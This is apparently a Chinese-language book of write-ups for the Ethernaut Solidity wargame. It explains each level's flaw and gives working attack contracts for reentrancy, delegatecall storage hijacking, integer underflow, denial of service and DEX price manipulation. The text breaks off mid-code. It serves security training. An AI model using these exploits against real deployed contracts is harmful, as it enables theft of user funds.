Ethernue Development Book
The full code of what we’ll build is stored in a separate repository:
https://github.com/yuhuajing/ethernaut-book
You can read this book at:
https://yuhuajing.github.io/ethernaut-book
Running locally
To run the book locally:
- Install Rust.
- Install mdBook:
$ cargo install mdbook $ cargo install mdbook-katex
- Clone the repo:
$ git clone https://github.com/yuhuajing/ethernaut-book $ cd ethernaut-book
- Run:
$ mdbook serve --open
- Visit http://localhost:3000/ (or whatever URL the previous command outputs!)
Fallback
Reference
目标
- 成为合约Owner
- 转走全部合约Ether
分析
合约一共有3个写函数(更新当前合约参数的函数):
- contribute()
- withdraw()
- receive()
contribute()
function contribute() public payable {
// 要求交易金额小于 0.001 ether
require(msg.value < 0.001 ether);
// 增加贡献值
contributions[msg.sender] += msg.value;
// 贡献值最大的sender,成为新的Owner
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
- 这是个
payable
函数,支持接收ether
,任何地址都可以调用函数,提供贡献值
withdraw()
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
Owner
账户提款合约的全部Ether
receive()
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
receive()
函数作为接收Ether
的回调函数,当合约接收Ether是会被调用- 只要转账金额不为0 并且 之前有过贡献值的话,
owner
的地址就会更新为当前交易的Sender
fallback()
函数作为解析calldata
的兜底函数,如果当前合约不存在任何的函数选择器Funcselector
,处理逻辑就会落到fallback
函数,因此可以实现代理合约的逻辑
实现步骤
- 部署合约
- 调用
contribute()
函数,转入0.0005 ETH
,初始化contributions[msg.sender]
值 - 不通过合约函数,直接对合约转账任意金额,触发
receiver
函数,更新合约Owner
- 调用
withdraw
,转移全部资产
Fallout
Reference
目标
- 成为合约Owner
分析
Up to Solidity 0.4.21
在solidity 0.4.21之前的版本,构造函数和合约同名:
pragma solidity <=0.4.21;
contract Oldie {
uint randomvar;
function Oldie(uint _randomvar) public { // Constructor
randomvar = _randomvar;
}
}
Above to Solidity ^0.4.21
在solidity ^0.4.21
以及之后的版本,有专门初始化合约参数的构造函数 constructor()
:
constructor (uint _randomvar) public { // New Constructor
randomvar = _randomvar;
}
合约问题
Unspelled 构造函数
- 合约版本已经
^0.6.0
,应付使用constructor(){}
作为构造函数 - 合约在高版本中使用了已经弃用的构造函数,并且函数拼写错误以及没有任何权限控制
- 更新
storage
参数应该具有严格的权限管控,合约对于Owner
地址的更新没有提供任何限制,任何地址都可以call fal1out()
函数更改owner
地址。
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
实现步骤
- 部署合约
- 直接调用
fal1out()
函数,更新全局Owner
CoinFlip
Reference
目标
- 在10次之内猜出当前合约中硬币的正反面
分析
block.number
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
- 在猜正反环节
- 首先计算当前区块高度的哈希值:
uint256(blockhash(block.number - 1))
- 哈希值除以固定值,得到预期的正反值
- 和输入的猜测值对比
- 首先计算当前区块高度的哈希值:
block.number
是递增并且全网公开的值
实现步骤
- 部署合约
- 链下获取当前的区块高度后,直接在链下按照合约逻辑计算正确答案
- 计算出答案后,设置高
gasPrice
抢先交易 - 持续 2,3 步骤,直到抢先成功赢得
Game
function winGame() public payable {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
cf.flip(side);
Assert.equal(cf.consecutiveWins(), 1, "Win once");
}
Telephone
Reference
目标
- 成为合约Owner
分析
changeOwner()
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
- 函数
changeOwner()
用于更新owner,需要满足tx.origin != msg.sender
- 合约互相调用:
Call: call
重新初始化虚拟机,将A的全部数据状态打包发送到B,更新的是B的数据参数,同时交易的发送方更新为ADelegateCall: delegateCall
将B的逻辑代码整个拷贝到A,按照B的逻辑更新A的参数DeelegateCall
不会初始化新的虚拟机,仍然在当前交易虚拟机中执行合约逻辑
- 如果需要满足
tx.origin != msg.sender
, 只需要通过合约之间call
的方式更改当前交易的执行环境
contract AtTelephone {
function attack(Telephone telephone, address _owner) public {
telephone.changeOwner(_owner);
}
}
实现步骤
- 部署
Telephone
合约, 部署攻击合约AtTelephone
- 调用攻击合约的
attack()
函数:EOA --> AtTelephone ----> attack()
函数AtTelephone --call-- > Telephone ----> changeOwner()
函数 - 对于攻击合约
AtTelephone
,msg.sender == EPA
- 对于目标合约
Telephone
,msg.sender == AtTelephone
- 对于两个合约:
tx.origin == EOA
- 满足目标合约的判断条件
tx.origin != msg.sender
,更新目标合约Owner = EOA
值
Token
Reference
目标
- 获取足够多的Token余额
分析
Up to Solidity 0.8.0
- 在solidity 0.8.0 之前的版本,数学计算需要采用 safeMath避免 数值 上下溢出。
- 向下溢出: uint(-1) = uint256.Max
- 向上溢出: uint256.max + 1 = 0
transfer()
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
- 合约版本 0.6.0, 存在数值上下溢出的风险,但是合约并未使用 safeMath
- transfer()函数在用户转账时,并未进行 balance判断,而是直接进入余额的增减
- 因此,transfer()函数中存在 balance为0 的用户的数值下溢问题
实现步骤
- 部署
Token
合约 - balance为0的发起者地址像任意地址转账,发起者的Token余额向下溢出,实现余额激增
Delegate
Reference
目标
- 成为合约Owner
分析
DelegateCall
- 当前合约作为A,
A DelegateCall B
的底层逻辑:- A 把B的合约代码整个复制到A的执行环境中
- A收到的
msg.data
按照B合约逻辑执行 - A合约的参数会按照B合约函数逻辑进行更新
- 注意,A按照B的逻辑更新A合约参数是按照
slot
顺序,和参数名称无关
- Delagation合约参数的存储顺序
address public owner; //slot0
Delegate delegate;//slot1
- Delegate逻辑合约参数的存储顺序
address public owner; //slot0
- Delegate逻辑合约用于更新slot0的函数
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender; //更新slot0参数
}
}
实现步骤
- 部署
Delegate
合约,部署Delegation
合约 Delegation
合约直接发起交易,calldata
数据为pwn()
函数选择器- 交易被
delegatecall
到Delegate
合约,按照函数选择器跳转到pwn()
函数 Delegation
合约按照pwn()
函数更新slot0
数据,owner
被更新为msg.sender
Force
Reference
目标
- 让Force合约大于0
分析
- 合约作为空合约
- 没有
payable
修饰的constructor
构造函数,无法在合约部署过程中发送余额 - 合约没有
receive()/payable
修饰的fallback()
函数,无法正常接收余额
- 没有
- 强制销毁当前合约并强制转账当前合约余额的字节码:
selfdestruct
selfdestruct(_addr); // 销毁当前合约并将当前合约余额发送到提供的地址
销毁合约
contract destroyRobot {
constructor() payable {}
function killself(Force force) public {
selfdestruct(payable(address(force)));
}
receive() external payable {}
}
- 允许在合约部署过程以及征程接收
Ether
- 定义
killself
函数,实现自毁并强制转移资产
实现步骤
- 、编译部署
Force
合约,部署destroyRobot
合约 Force
合约 余额为0destroyRobot
余额为0。- 转账任意Ether到
destroyRobot
合约,destroyRobot
余额不为0 - 执行
destroyRobot
合约的killself()
函数注册销毁,并将余额全部转到Force
合约 Force
合约强制接收destroyRobot
的余额
Vault
Reference
目标
- 解锁当前合约
分析
unlock
- unlock()函数用于解锁当前合约
- unlock()需要 password 参数
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
- 合约内部的参数存储:
bool public locked;
bytes32 private password;
- password合约参数修饰符为private,表明隐藏数据,在该合约中不可直接读取
- 合约数据存储上链后即公开,已经按照合约定义的参数顺序存储在当前合约storage
- 按照slot顺序,可以读出任何定义在合约中的参数值
Slot storage
King
Reference
目标
- 让游戏无法进行
分析
transfer()
transfer()/send()
函数,都可以实现资金转移,并且只会传递2300用于转账的gas,避免接收方用剩余gas做额外的操作transfer()
转账失败的话,整笔交易回滚send()
转账会返回bool
类型标识,转账失败的话,返回false
,但是不会回滚交易call()
转账可以指定gas,返回bool和data
,并且转账失败的话不会回滚整笔交易
receive()
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
King
合约类似庞氏骗局,在场中的会获取新进场的资金payable(king).transfer(msg.value);
,资金从合约转到旧King
- Sender成为
新King
,等待别人以更高资金接盘 - 转账方式采用
transfer()
,转账失败会导致交易回滚
接收资产
- EOA地址可以接收/转账任意资产
- 合约地址接收Ether需要有以下任一函数
receive() external payable { }
payable
修饰的fallback()
:fallback() external payable { }
攻击实现
- 准备一个攻击合约,合约可以在部署阶段接收Ether,但是部署过后不能正常接受Ether
- 攻击合约向目标合约转账,成为目标合约的
新King
- 由于攻击合约不存在接收资产的默认函数,因此任何转账操作都会失败
- 目标合约中任何更高转账的操作都会回滚失败,因为 攻击合约作为
旧King
无法接收新King
的资金
contract AttackKing {
constructor() payable {}
function attack(King _king, uint256 value) public payable {
payable(address(_king)).call{value: value}("");
}
}
实现步骤
- 部署
AttackKing
合约,在部署阶段存入Ether - 调用
AttackKing
合约的attack()
函数,底层call King
合约 - 此时,
King
合约下的king
地址更新为AttackKing
合约 - 此后,任意地址的转账行为都会失败,因为 作为
旧king
的AttackKing
合约不支持转账操作
Reentrance
Reference
目标
- 实施重入攻击,转走合约全部Ether
分析
Reentrancy
重入攻击表示攻击合约可以递归的调用目标合约的函数
- 需要有一个外部的
call
,call
会新建一个新的虚拟机环境,重新读取的目标合约的状态数据 - 存在一些状态的更新,状态更新发生在外部
call
之后,导致每次call
的执行环境都会读取未发生更新的旧数据
receive()
receive()
函数作为接受Ether的被动执行函数,一旦有外部账户转账给合约地址,当前交易会call
转账合约的receive或fallback
函数call()
转账会将目前剩余的gas全部发送到新的执行环境,允许新执行环境中进行一些外部操作transfer()/send()
仅发送2300gas用于转账,新的执行环境没有对于gas执行额外操作
withdraw()
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
- 退款函数中存在外部转账的
call()
方法 - 转账地址的余额变化发生在
call
之后 - 如果当前退款账户是合约地址的话,执行call退款会触发退款合约的
receive()
函数
攻击流程
- 准备一个退款合约,合约作为sender执行donate函数
function attack() public payable {
ret.donate{value: amount}(address(this));
ret.withdraw(amount);
}
- 准备receive()函数,内部回调攻击合约,实现重入攻击
receive() external payable {
if (address(ret).balance >= amount) {
ret.withdraw(amount);
}
}
实现步骤
- 部署攻击合约
AtReentrance
,部署目标合约Reentrance
- 往攻击合约
AtReentrance
,存入Ether - 调用攻击合约
AtReentrance
的attack()
函数进行存款,在目标合约Reentrance
中的balances
不为空 - 攻击合约存款后,立马进行退款。并且每次目标合约
Reentrance
的退款函数会涉及call
转账,因此触发攻击合约的receive()
函数 - 在
receive()
函数中,攻击合约AtReentrance
重新call
目标合约Reentrance
的退款函数withdraw()
- 在目标合约
Reentrance
中,由于余额更新在外部call
之后,因此所有新的虚拟机执行环境中仍然保留balance
余额 - 攻击合约持续多次退款,掏空目标合约余额
Elevator
Reference
目标
- 构建一个
Building
合约,实现电梯永远不会到顶
分析
goto()
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
- goto()函数实现电梯上下行
!building.isLastFloor(_floor)
,通过判断电梯是否到顶- 为了实现永不到顶,此处的判断应该返回false
- 进入 if 分支后:
- 电梯上/下行,修改 floor 的楼层数
- 通过
building.isLastFloor(floor);
再次获取是否到达顶层
- if条件和当前是否到顶是同此独立的外部 call 获取参数。按照分支判断,要求第一次查询参数返回false,第二次返回true。表明当前已经到顶,但是下次仍然可以上/下行
次数 | 结果 |
---|---|
One | false |
Two | true |
Three | false |
… | … |
奇数次 | false |
偶数次 | true |
4. 通过bool flag全局变量实现次数的控制 |
if (!flag) {
flag = true;
return false;
} else {
flag = false;
return true;
}
攻击合约
function attack(uint256 _floor) external {
elevator.goTo(_floor);
}
function isLastFloor(uint256) public returns (bool) {
if (!flag) {
flag = true;
return false;
} else {
flag = false;
return true;
}
}
attack()
attack()
函数底层call Elevator
合约- 在
Elevator
合约中,反调攻击合约的isLastFloor()
函数,判断楼层和到顶情况
实现步骤
- 部署攻击合约
AttackBuilding
,部署目标合约Elevator
- 调用攻击合约
AttackBuilding
的attack()
函数,实现电梯任意上/下行楼层,并且当次到顶
Privacy
Reference
目标
- 找出链上Private数据
slot存储
整数
整数数据从低位开始存储,拼凑的参数进入高位
string
string 从高位存储,地位存储长度
structs and arrays
结构体类型和固定大小的数组类型,内部的参数都会按照全局参数顺序存储在的slot栈中
Dynamic Arrays
- 动态数组具体数据存储的起始位置为:
keccak256(p)
,p为当前slot的index,内部存储数组size - 动态数组的数据存储按照拼凑规则,不足128bit的会拼接在同一个slot中存储
- 二元数组的存储起点:keccak256(keccak256(p) + i) + floor(j / floor(256 / 24))
Mappings
- 对于key-value的mapping,按照key类型和slot位置计算存储位置的slot:
keccak256(h(k) . p)
Examples
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.0 <0.9.0;
contract C {
struct S { uint16 a; uint16 b; uint256 c; }
uint x; // slot0
mapping(uint => mapping(uint => S)) data; // slot1
}
- 找出 data[4][9].c的存储位置
- data的slot顺序为 slot1
- data[4]的存储slot为
keccak256(uint256(4) . uint256(1))
- data[4][9]的存储slot为
keccak256(uint256(9) . keccak256(uint256(4) . uint256(1))
- 结构体内参数按照参数类型存储,其中 a,b 存储在同个slot, c存储在下一个slot
- data[4][9].c的存储slot为
keccak256(uint256(9) . keccak256(uint256(4) . uint256(1)) + 1
实现步骤
GatekeeperOne
Reference
目标
- 找出目标合约的正确答案
合约规则
sender
msg.sender != tx.origin
- 合约之间的
call
会改变当前EVM执行环境,当前交易的sender
更新为caller
,和交易的源头发起者不一致
BitChange
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
uint32(uint64(_gateKey)) != uint64(_gateKey),
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
require(gasleft() % 8191 == 0, "Invalid gas");
- solidity中从低位取数据,例如
uint32 var=0x12345678, uint16(var) = 0x5678
- 低位64位中:
- 再从低位取得的32位:
- 和64位数字不同
- 和低位的16位数字不同
- 再从低位取得的32位:
- 也就是 64位数据和32位数据不同,32位数据和16位数据不同
- 交易发起原始地址的后16位 和 当前 key的后32位保持一致
- 执行环境的剩余
gasleft
是 8191的倍数
分析
- 问题1需要实现攻击合约,通过底层call调用的方式达成第一个条件
- 问题2中最多位数数据是64位,通过 获取 当前交易源头地址的 最后64位数据,通过处理后达成条件2
- Key的后32位和
tx.origin
的后16位相同:Key = 源数据& 0x????????0000FFFF
, ?任意 - Key的32位和16位相同:源数据
& 0x????????0000FFFF
, ?任意 - Key的64位和32位不同: 源数据
& 0x????????0000FFFF
, ? 任一为1即可
- Key的后32位和
- 源数据
& 0xFF0000FF0000FFFF
bytes8(uint64(tx.origin) & 0xFF0000FF0000FFFF
合约问题
- 约束条件直接写在合约,没有地址权限控制以及随机值管控
- 明文规则可以直接在链下迭代计算得出正确答案
GateKeeperTwo
Reference
目标
- 更新目标合约的参数
Ethereum smart contract creation code
codeCopy
codecopy从内存中取出数据
destOffset
: 内存中读取数据的起始位置offset
: 待拷贝数据的起始位置size
: 拷贝数据的长度
Introduction-creation code
<init code> <runtime code> <constructor parameters>
- 合约部署时由三部分组成:
EVM
从init code
开始执行部署工作(create
字节码),部署过程初始化构造器参数并且将runtime code
存储在链上
pragma solidity 0.8.17;// optimizer: 200 runs
contract Minimal {
// 空 constructor()函数不影响合约部署的字节码,存在或不存在 constructor()函数,字节码都一样
constructor() payable {
}
}
部署 bytesCode
0x6080604052603f8060116000396000f3fe
+ 6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033
initcode
中执行codecopy
,栈内数据自栈顶向下依次存在值:00,11,3f,3f
。表明从内存0index
开始,间隔0x11=17
开始读取0x3f=63bytes
数据codecopy
将runtimeCode
拷贝到内存中存储return
关键字将内存数据返回到EVM
,作为合约数据存储上链
Non-payable constructor contract
0x6080604052348015600f57600080fd5b50603f80601d6000396000f3fe
|6080604052600080fdfea2646970667358221220a55361e0436e97c9dd60ac5f5a5d96e6a000f6229fd071b0bc9ab6d5f7fe2fe064736f6c63430008110033
包含payable
修饰符的合约:
0x6080604052603f8060116000396000f3fe
+6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033
- 没有payable修饰的合约部署代码中的
initcode size
较大,因为需要进行value的判断 <init bytecode> <extra 12 byte sequence (payable case)> <return runtime bytecode> <runtime bytecode>
// check the amount of wei that was sent
CALLVALUE
DUP1
ISZERO
// Jump to 0x0f (contract deployment step)
PUSH1 0x0f
JUMPI
// revert if wei sent is greater than 0
PUSH1 0x00
DUP1
REVERT
RuntimeCode
- 在空合约中,
runtimeCode
不为空,需要包含当前合约编译环境等源数据 runtimeTime
包含constructor()
构造函数中的初始化参数(如果存在的话,会encode
到最后)
pragma solidity 0.8.17;
contract Runtime {
address lastSender;
constructor () payable {}
receive() external payable {
lastSender = msg.sender;
}
}
存在函数方法的合约的部署字节码:0x6080604052605a8060116000396000f3fe
+608060405236601f57600080546001600160a01b03191633908117909155005b600080fdfe
+a2646970667358221220f866e014c98dd6fc08f86a965441844c3b59b2562df6b35744699f67785c2a0c64736f6c63430008110033
<initCode> + <Runtimecode>(part1_runtimeCode + part2_Metadata)
runtimeCode
负责处理msg.data
, 遍历字节码匹配合约函数进行处理。示例不存在任何函数以及fallback()
函数,如果用于发起的交易中msg.data
不为空的话,会导致交易revert
.
Constructor with parameters
- 构造函数的数据用于初始化合约函数,在合约代码存储上链后执行。
- 存在参数的构造函数,在部署时会检查合约参数是否时预期参数类型、长度等
- 构造函数参数
encode
到runtimeCode
之后
pragma solidity 0.8.17;
contract MinimalLogic {
uint256 private x;
constructor (uint256 _x) payable {
x =_x;
}
}
合约部署字节码: 0x608060405260405160893803806089833981016040819052601e916025565b600055603d565b600060208284031215603657600080fd5b5051919050565b603f80604a6000396000f3fe
+ 6080604052600080fdfea26469706673582212209e3f4fd87589fae7c00e7284adf0a1a3f48c201e7bbaed31395c5304a13054a764736f6c63430008110033
+ 000000000000000000000000000000000000000000000000000000000000007b
- 部署环节先检查构造函数的参数是否符合预期
- 检查通过后,更新合约
storage
参数 - 将
runtimecode
拷贝的内存并存储上链
合约分析
msg.sender != tx.origin
,需要实现一个辅助攻击合约,通过合约call
,更新当前交易的msg.sender
extcodesize(caller()) ==0
要求发起交易的合约的runtimeCode
为空- 合约部署过程会先执行 构造函数中的逻辑,然后才会返回
runtimecode
并存储上链 - 因此如果远程
call
的合约逻辑放在constructor()
函数中执行, 就可以满足这个条件
- 合约部署过程会先执行 构造函数中的逻辑,然后才会返回
- 对于异或操作
A XOR B = C
等于A XOR C = B
, 所以key
值等于A XOR C
contract AtGatekeeper {
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
constructor() {
GatekeeperTwo two = GatekeeperTwo(0xxxxxxxxx);
two.enter(gateKey);
}
function anyfunc()public {}
function anyfunc2()public {}
}
NaughtCoin
Reference
目标
- 将Owner用户的资产在封锁期内转走
分析
transfer()
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
- 合约
override
重写了transfer()
函数,不允许player
用户在封锁期内转移资产
approve()
ERC20
支持授权和transferFrom()
授权转账操作
合约设计思路
msg.sender == player
的时候,需要满足 lock 条件- 因此,需要
msg.sender != player
approval()
授权操作允许 在 2 的基础上同时可以操作player
的资产- 因此,部署者只需要将资产授权给第三方地址:第三方地址不满足
modifier lock
条件,同时可以转账player
的Token
Preservation
Reference
目标
- 合约提供两个不同时区时间,通过自定义的时区示例合约,成功抢占当前合约的
Owner
分析
- 和 telephone类似
- 当前合约
delegateCall
远程合约,使用远程合约的逻辑更新当前合约内部的参数 - 当前合约内部更新自己内部参数时,按照远程
delegateCall
的合约slot
栈顺序进行更新
Owner
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
address
数据类型占据完整的slot
,Preservation
合约中在slot2
中存储owner
- 因此,
Preservation
合约执行delegatecall
更新自身参数的时候,实例合约应该更新slot2
数据
// Simple library contract to set the time
contract Attack {
address public t1;
address public t2;
address public owner;
uint256 storedTime;
function setTime(uint256 _time) public {
owner = msg.sender;
storedTime = _time;
}
}
Preservation
合约将Attack
合约作为instance
实例,直接delegateCall setTime(uint256 _time)
函数Attack
合约更新slot2,slot3
数据- 因此,
Preservation
将slot2
值按照Attack
合约逻辑更新为msg.sender
, 将slot3
的值更新为内部传输的参数_time
.
Recovery
Reference
目标
根据 nonce
重新计算 new
关键字创建的合约地址
分析
A_{ct}=Keccak_{256}(A,N)[0..160]
create
关键字通过msg.sender和nonce值生成并部署新的合约地址A_{cr}=Keccak256( 0xff, A, salt, \\Keccak256(initialisation\_code))[0..160]
create2
关键字允许自定义salt
值和 合约code, 用于生成新的合约地址。因此,相同的salt和合约code
可以部署出相同的合约地址
new
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
new
关键字通过create
创建新的合约地址- 需要实现代码,找出根据
合约地址和nonce
计算出的合约实例地址
contract FindLostSC {
function addressFrom(address _origin, uint256 _nonce) public {
bytes memory data;
if (_nonce == 0x00)
data = abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
_origin,
bytes1(0x80)
);
else if (_nonce <= 0x7f)
data = abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
_origin,
uint8(_nonce)
);
else if (_nonce <= 0xff)
data = abi.encodePacked(
bytes1(0xd7),
bytes1(0x94),
_origin,
bytes1(0x81),
uint8(_nonce)
);
else if (_nonce <= 0xffff)
data = abi.encodePacked(
bytes1(0xd8),
bytes1(0x94),
_origin,
bytes1(0x82),
uint16(_nonce)
);
else if (_nonce <= 0xffffff)
data = abi.encodePacked(
bytes1(0xd9),
bytes1(0x94),
_origin,
bytes1(0x83),
uint24(_nonce)
);
else
data = abi.encodePacked(
bytes1(0xda),
bytes1(0x94),
_origin,
bytes1(0x84),
uint32(_nonce)
);
address target = address(uint160(uint256(keccak256(data))));
SimpleToken st = SimpleToken(payable(target));
st.destroy(payable(msg.sender));
}
}
- 根据编码规则和参数,找出失落的合约实例,直接调用
destroy()
函数,强制转移合约余额
AlienCodeX
Reference
目标
- 抢占当前合约的
Owner
分析
- 和 privacy类似
- 当前合约不存在 call 或者delegateCall的外部调用,唯一更新的storage参数时 bytes32的非定长数据
- 当前合约的编译版本为 ^0.5.0,数据存在上下溢出的风险
非定长数组存储
- 动态数组具体数据存储的起始位置为:keccak256(p) ,p 为当前 slot 的 index , slotp内部存储数组size
Owner
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
- 通过指定index更新array数据
- owner存储在slot0
- 数据type(uint256).max上溢的值为0
- 动态数组的更新规则:
index | slot |
---|---|
0 | keccak256(1) + 1 |
1 | keccak256(1) + 2 |
2 | keccak256(1) + 3 |
… | … |
type(uint256).max - 1 - keccak256(1) | type(uint256).max |
type(uint256).max - 1 - keccak256(1) + 1 | 0 |
Attack
contract Attack {
AlienCodex codex;
constructor(AlienCodex _codex)public {
codex = _codex;
}
function attack() public {
codex.make_contact();
codex.retract();
uint256 index = ((2**256) - 1) - uint256(keccak256(abi.encode(1))) + 1;
bytes32 txsender = bytes32(uint256(uint160(msg.sender)));
codex.revise(index, txsender);
}
}
- 通过计算,在
index = type(uint256).max - 1 - keccak256(1) + 1
插入的值会被存储在slot0
call AlienCodex
合约的retract()
函数,此时数组index
下溢,动态数组的长度初始化为最大- 计算目标
index和owner
值 call AlienCodex
合约的revise()
函数,在特定index
插入值,根据动态数组的计算规则,此时会更新slot0
的数据
Denial
Reference
目标
作为当前合约的 partner
, 让 owner
地址无法成功退款
分析
withdraw
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
// payable(partner).transfer(amountToSend);
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
partner
通过call()
退款,call发送当前EV吗环境全部剩余的gas
owner
通过transfer()
退款,transfer()/send()
仅发送2300 gas
,transfer()
在转账失败时会revert
整笔交易
Denial
- 作为
partner
,在owner
退款时会通过call
接收转账 call()
转账方式会将caller
的全部gas
发送到新的EVM
执行环境- 作为
partner
,可以在fallback()
函数中消耗完全部的gas
,此时,整笔交易会因为没有多余gas
失败
contract Attack {
bytes32 tt;
fallback() external payable {
while (gasleft() > 0) {
tt = keccak256(abi.encodePacked(msg.sender, tt));
}
}
}
Attack
合约的fallback()
函数一直执行keccak256
操作消耗gas
,直至消耗完全部gas
Shop
Reference
目标
用少于商品价格的钱购买商品
分析
view
interface Buyer {
function price() external view returns (uint256);
}
view
修饰符表示当前函数不会更新 storage参数,因此不能按照 bool flag的方式实现多次调用的不同结果
function buy() public {
Buyer _buyer = Buyer(msg.sender);
require(_buyer.price() >= price, "Lower price");
require(!isSold, "Sold");
isSold = true;
price = _buyer.price();
}
isSold
参数的更新在下一次的函数调用植物i四年,因此可以通过isSold
参数判断当前的调用
function price() external view returns (uint256) {
if (!shop.isSold()) {
return _price;
} else {
return _price / 20;
}
}
Dex
Reference
目标
- 玩家持有
TokenA,TokenB
各10个 - Dex持有
TokenA,TokenB
各100个 - 榨干Dex池子中的
TokenA
或TokenB
分析
price
function getSwapPrice(
address from,
address to,
uint256 amount
) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
-
在兑换Token时,依靠Dex池子中TokwnA/TokenB的数量锚定
-
问题在于,每次交易完成后,都会更新当前池子的Token数量
playerTokenA playerTokenB DexTokenA DexTokenB 10 10 100 100 0 20 110 90 24 0 86 110 0 30 110 80 41 0 69 110 0 65 110 45 110 20 0 90 -
按照上述兑换表格,最后会清空
Dex
池子中的TokenA
,攻击者的(TokenA,TokenB)
的余额从(10,10)更新为(110,20)。
DexTwo
Reference
目标
- 玩家持有
TokenA,TokenB
各10个 - Dex持有
TokenA,TokenB
各100个 - 榨干Dex池子中的
TokenA
或TokenB
分析
price
function getSwapPrice(
address from,
address to,
uint256 amount
) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
-
在兑换Token时,通过 from/to 地址的Token数量锚定价格
-
from/to 地址不可控
playerTokenA playerTokenB playerTokenC DexTokenA DexTokenB DexTokenC 10 10 300 100 100 100 110 10 200 0 100 200 110 110 0 0 0 300 -
按照上述兑换表格,最后会清空
Dex
池子中的TokenA
,攻击者的(TokenA,TokenB)
的余额从(10,10)更新为(110,110) -
攻击swap1: 通过TokenC 兑换 TokenA
function swap1() public {
dex.swap(address(tokenC), address(tokenA), 100);
}
- 攻击swap2: 通过TokenC 兑换 TokenB
function swap2() public {
dex.swap(address(tokenC), address(tokenB), 200);
}
PuzzleWallet
Reference
目标
成为代理合约的 admin 账户
分析
slot
proxy-admin
地址和wallet-maxBalance
存储在slot0
proxy-pendingAdmin
地址和wallet-owner
存储在slot1
Proxy-slot0 | Wallet-slot0 | Proxy-slot1 | Wallet-slot1 |
---|---|---|---|
pendingAdmin | owner | admin | maxBalance |
Proxy
合约存储状态,Wallet
合约存储逻辑Wallet
合约的数据更新不会影响Proxy
合约,因为Proxy
只会使自己合约存储的数据Proxy
合约的数据更新会影响Wallet
合约的函数判断,因为Proxy
会把Wallet
合约逻辑拿到Proxy EVM
环境中执行
maxBalance
Proxy-admin
地址和Wallet-maxBalance
存储在slot0
- 如果可以在
Proxy
中更新slot0->maxBalance(admin)
数据,就可以实现目标
Wallet-setMaxBalance()
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted
,函数需要白名单地址才能调用
Wallet-addToWhitelist()
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
- 函数需要
owner
地址调用 - 在
Wallet
逻辑合约中,owner
存储在slot0
- 对于
Proxy
函数调用过程中owner
的判断,也会从slot0
中取数据 Proxy slot0
中存储的是pendingAdmin
地址而言
Proxy-proposeNewAdmin()
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
Proxy
合约调用 proposeNewAdmin()
函数修改 slot0-pendingAdmin
,不需要额外的验证,任何地址都可以提交修改。
实现逻辑–修改admin为attack()合约地址
- 部署
Attack()
合约,实例化Proxy
和Wallet
合约,将Proxy
合约的admin
地址更新为msg.sender
- 调用
Proxy
合约proposeNewAdmin()
函数,Attack
合约地址作为参数传递 –>Proxy 的slot0 存储 Attack() 合约地址
- 在
Proxy
合约中调用addToWhitelist()
函数:addToWhitelist()
校验owner
身份,owner
存储在slot0
位置Proxy
合约按照Wallet
逻辑,从slot0
取出owner
地址slot0
存储的是Attack()
合约地址,交易发起者也是Attack()
合约, 满足判断条件
- 在
Proxy
合约中调用setMaxBalance()
函数,将Attack
合约地址作为参数传递setMaxBalance()
校验 白名单- 第三步骤将
Attack
合约置为白名单,满足条件 Proxy
合约按照Wallet
逻辑–> 更新slot1
数据
- 在
Proxy
中读取slot1--> Admin
地址
constructor() {
